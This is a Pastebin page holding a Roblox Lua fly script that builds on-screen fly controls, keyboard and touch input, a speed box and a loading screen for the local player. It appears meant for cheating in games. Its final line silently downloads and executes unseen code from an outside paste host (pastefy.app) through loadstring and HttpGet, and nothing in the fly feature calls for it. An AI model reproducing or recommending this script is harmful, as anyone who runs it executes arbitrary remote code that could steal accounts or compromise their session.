Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local player, character, humanoid, HRP, flySpeed, flying, bodyVelocity, bodyGyro, TweenService, RunService, Camera, screenGui, loadingFrame, loadingLabel, flyControlsContainer, dpadSize, toggleButton, forwardButton, backButton, leftButton, rightButton, upButton, downButton, uiToggleButton, uiVisible, inputFlags, UserInputService, IS_MOBILE, pcFlyButton, speedTextBox, flyingAnimation, flyingAnimTrack
- player = game.Players.LocalPlayer
- character = player.Character or player.CharacterAdded:Wait()
- humanoid = character:WaitForChild("Humanoid")
- HRP = character:WaitForChild("HumanoidRootPart")
- flySpeed = 50
- flying = false
- bodyVelocity = Instance.new("BodyVelocity")
- bodyVelocity.Velocity = Vector3.new(0, 0, 0)
- bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
- bodyGyro = Instance.new("BodyGyro")
- bodyGyro.CFrame = HRP.CFrame
- bodyGyro.MaxTorque = Vector3.new(100000, 100000, 100000)
- TweenService = game:GetService("TweenService")
- RunService = game:GetService("RunService")
- Camera = workspace.CurrentCamera
- UserInputService = game:GetService("UserInputService")
- IS_MOBILE = UserInputService.TouchEnabled
- screenGui = Instance.new("ScreenGui")
- screenGui.Name = "FlyScreenGui"
- screenGui.ResetOnSpawn = false
- screenGui.Parent = player:WaitForChild("PlayerGui")
- loadingFrame = Instance.new("Frame")
- loadingFrame.Name = "LoadingFrame"
- loadingFrame.Size = UDim2.new(1, 0, 1, 0)
- loadingFrame.Position = UDim2.new(0, 0, 0, 0)
- loadingFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- loadingFrame.BackgroundTransparency = 0
- loadingFrame.Parent = screenGui
- loadingLabel = Instance.new("TextLabel")
- loadingLabel.Name = "LoadingLabel"
- loadingLabel.Size = UDim2.new(0.5, 0, 0.2, 0)
- loadingLabel.Position = UDim2.new(0.25, 0, 0.4, 0)
- loadingLabel.BackgroundTransparency = 1
- loadingLabel.Text = "Loading..."
- loadingLabel.TextScaled = true
- loadingLabel.Font = Enum.Font.GothamBold
- loadingLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- loadingLabel.Parent = loadingFrame
- flyControlsContainer = Instance.new("Frame")
- flyControlsContainer.Name = "FlyControlsContainer"
- flyControlsContainer.Size = UDim2.new(1, 0, 1, 0)
- flyControlsContainer.BackgroundTransparency = 1
- flyControlsContainer.Parent = screenGui
- dpadSize = UDim2.new(0, 60, 0, 60)
- toggleButton = nil
- forwardButton = nil
- backButton = nil
- leftButton = nil
- rightButton = nil
- upButton = nil
- downButton = nil
- uiToggleButton = nil
- uiVisible = true
- inputFlags = { forward = false, back = false, left = false, right = false, up = false, down = false }
- pcFlyButton = nil
- flyingAnimation = Instance.new("Animation")
- flyingAnimation.AnimationId = "rbxassetid://282574440"
- flyingAnimTrack = nil
- local function startFlying()
- flying = true
- bodyVelocity.Parent = HRP
- bodyGyro.Parent = HRP
- humanoid.PlatformStand = true
- if not flyingAnimTrack then
- flyingAnimTrack = humanoid:LoadAnimation(flyingAnimation)
- flyingAnimTrack.Looped = true
- end
- end
- local function stopFlying()
- flying = false
- bodyVelocity.Parent = nil
- bodyGyro.Parent = nil
- humanoid.PlatformStand = false
- if flyingAnimTrack then
- flyingAnimTrack:Stop()
- end
- end
- local function createButton(parent, name, text, pos, size)
- local btn = Instance.new("TextButton")
- btn.Name = name
- btn.Text = text
- btn.Size = size
- btn.Position = pos
- btn.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
- btn.TextColor3 = Color3.fromRGB(255, 255, 255)
- btn.Font = Enum.Font.GothamBold
- btn.TextScaled = true
- btn.BackgroundTransparency = 0.2
- btn.Parent = parent
- local corner = Instance.new("UICorner")
- corner.CornerRadius = UDim.new(0, 12)
- corner.Parent = btn
- return btn
- end
- local function tweenFlyControls(visible)
- local tweenTime = 0.5
- for _, btn in pairs(flyControlsContainer:GetChildren()) do
- if btn:IsA("TextButton") then
- local targetBackgroundTransparency = visible and 0.2 or 1
- local targetTextTransparency = visible and 0 or 1
- local tweenInfo = TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
- local tween = TweenService:Create(btn, tweenInfo, { BackgroundTransparency = targetBackgroundTransparency, TextTransparency = targetTextTransparency })
- tween:Play()
- end
- end
- if speedTextBox then
- speedTextBox.Visible = visible
- end
- end
- local function addTouchEvents(button, flagName)
- button.MouseButton1Down:Connect(function() inputFlags[flagName] = true end)
- button.MouseButton1Up:Connect(function() inputFlags[flagName] = false end)
- button.MouseLeave:Connect(function() inputFlags[flagName] = false end)
- end
- uiToggleButton = createButton(screenGui, "UIToggleButton", "Hide UI", UDim2.new(0, 10, 0, 10), UDim2.new(0, 100, 0, 50))
- speedTextBox = Instance.new("TextBox")
- speedTextBox.Name = "SpeedTextBox"
- speedTextBox.Size = UDim2.new(0, 100, 0, 40)
- speedTextBox.Position = UDim2.new(0, 10, 0, 65)
- speedTextBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
- speedTextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
- speedTextBox.Font = Enum.Font.GothamBold
- speedTextBox.TextScaled = true
- speedTextBox.Text = tostring(flySpeed)
- speedTextBox.ClearTextOnFocus = false
- speedTextBox.Parent = screenGui
- speedTextBox.Visible = true
- speedTextBox.FocusLost:Connect(function(enterPressed)
- if enterPressed then
- local val = tonumber(speedTextBox.Text)
- if val and val > 0 then
- flySpeed = val
- else
- speedTextBox.Text = tostring(flySpeed)
- end
- end
- end)
- if IS_MOBILE then
- toggleButton = createButton(flyControlsContainer, "ToggleFlyButton", "Toggle Fly", UDim2.new(1, -110, 0, 10), UDim2.new(0, 100, 0, 50))
- toggleButton.MouseButton1Click:Connect(function()
- if flying then
- stopFlying()
- toggleButton.Text = "Fly OFF"
- else
- startFlying()
- toggleButton.Text = "Fly ON"
- end
- end)
- forwardButton = createButton(flyControlsContainer, "ForwardButton", "↑", UDim2.new(0, 70, 1, -190), dpadSize)
- backButton = createButton(flyControlsContainer, "BackButton", "↓", UDim2.new(0, 70, 1, -70), dpadSize)
- leftButton = createButton(flyControlsContainer, "LeftButton", "←", UDim2.new(0, 10, 1, -130), dpadSize)
- rightButton = createButton(flyControlsContainer, "RightButton", "→", UDim2.new(0, 130, 1, -130), dpadSize)
- upButton = createButton(flyControlsContainer, "UpButton", "Up", UDim2.new(1, -110, 1, -190), dpadSize)
- downButton = createButton(flyControlsContainer, "DownButton", "Down", UDim2.new(1, -110, 1, -70), dpadSize)
- addTouchEvents(forwardButton, "forward")
- addTouchEvents(backButton, "back")
- addTouchEvents(leftButton, "left")
- addTouchEvents(rightButton, "right")
- addTouchEvents(upButton, "up")
- addTouchEvents(downButton, "down")
- else
- pcFlyButton = createButton(flyControlsContainer, "PCFlyButton", "Fly", UDim2.new(0, 130, 0, 10), UDim2.new(0, 100, 0, 50))
- pcFlyButton.MouseButton1Click:Connect(function()
- if flying then
- stopFlying()
- pcFlyButton.Text = "Fly"
- else
- startFlying()
- pcFlyButton.Text = "Unfly"
- end
- end)
- UserInputService.InputBegan:Connect(function(input, gameProcessed)
- if not gameProcessed and flying then
- if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = true end
- if input.KeyCode == Enum.KeyCode.S then inputFlags.back = true end
- if input.KeyCode == Enum.KeyCode.A then inputFlags.left = true end
- if input.KeyCode == Enum.KeyCode.D then inputFlags.right = true end
- if input.KeyCode == Enum.KeyCode.Space then inputFlags.up = true end
- if input.KeyCode == Enum.KeyCode.LeftControl then inputFlags.down = true end
- end
- end)
- UserInputService.InputEnded:Connect(function(input)
- if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = false end
- if input.KeyCode == Enum.KeyCode.S then inputFlags.back = false end
- if input.KeyCode == Enum.KeyCode.A then inputFlags.left = false end
- if input.KeyCode == Enum.KeyCode.D then inputFlags.right = false end
- if input.KeyCode == Enum.KeyCode.Space then inputFlags.up = false end
- if input.KeyCode == Enum.KeyCode.LeftControl then inputFlags.down = false end
- end)
- end
- uiToggleButton.MouseButton1Click:Connect(function()
- uiVisible = not uiVisible
- tweenFlyControls(uiVisible)
- uiToggleButton.Text = uiVisible and "Hide UI" or "Show UI"
- end)
- player.CharacterAdded:Connect(function(newCharacter)
- character = newCharacter
- humanoid = newCharacter:WaitForChild("Humanoid")
- HRP = newCharacter:WaitForChild("HumanoidRootPart")
- flying = false
- if flyingAnimTrack then
- flyingAnimTrack:Stop()
- flyingAnimTrack = nil
- end
- end)
- RunService.RenderStepped:Connect(function(dt)
- if flying then
- local move = Vector3.new(0, 0, 0)
- local cam = Camera.CFrame
- if inputFlags.forward then move = move + cam.LookVector end
- if inputFlags.back then move = move - cam.LookVector end
- if inputFlags.left then move = move - cam.RightVector end
- if inputFlags.right then move = move + cam.RightVector end
- if inputFlags.up then move = move + Vector3.new(0, 1, 0) end
- if inputFlags.down then move = move - Vector3.new(0, 1, 0) end
- if move.Magnitude > 0 then
- move = move.Unit
- bodyVelocity.Velocity = move * flySpeed
- bodyGyro.CFrame = CFrame.new(HRP.Position, HRP.Position + move)
- if not flyingAnimTrack or not flyingAnimTrack.IsPlaying then
- flyingAnimTrack = humanoid:LoadAnimation(flyingAnimation)
- flyingAnimTrack.Looped = true
- flyingAnimTrack:Play()
- end
- elseif flyingAnimTrack and flyingAnimTrack.IsPlaying then
- flyingAnimTrack:Stop()
- bodyVelocity.Velocity = Vector3.new(0, 0, 0)
- end
- end
- end)
- task.delay(2, function()
- local tweenInfo = TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
- local tweenFrame = TweenService:Create(loadingFrame, tweenInfo, { BackgroundTransparency = 1 })
- local tweenLabel = TweenService:Create(loadingLabel, tweenInfo, { TextTransparency = 1 })
- tweenFrame:Play()
- tweenLabel:Play()
- tweenFrame.Completed:Connect(function()
- loadingFrame:Destroy()
- end)
- end)
- loadstring(game:HttpGet(('http://pastefy.app/GvnHVjT5/raw'),true))()
Advertisement
Add Comment
Please, Sign In to add comment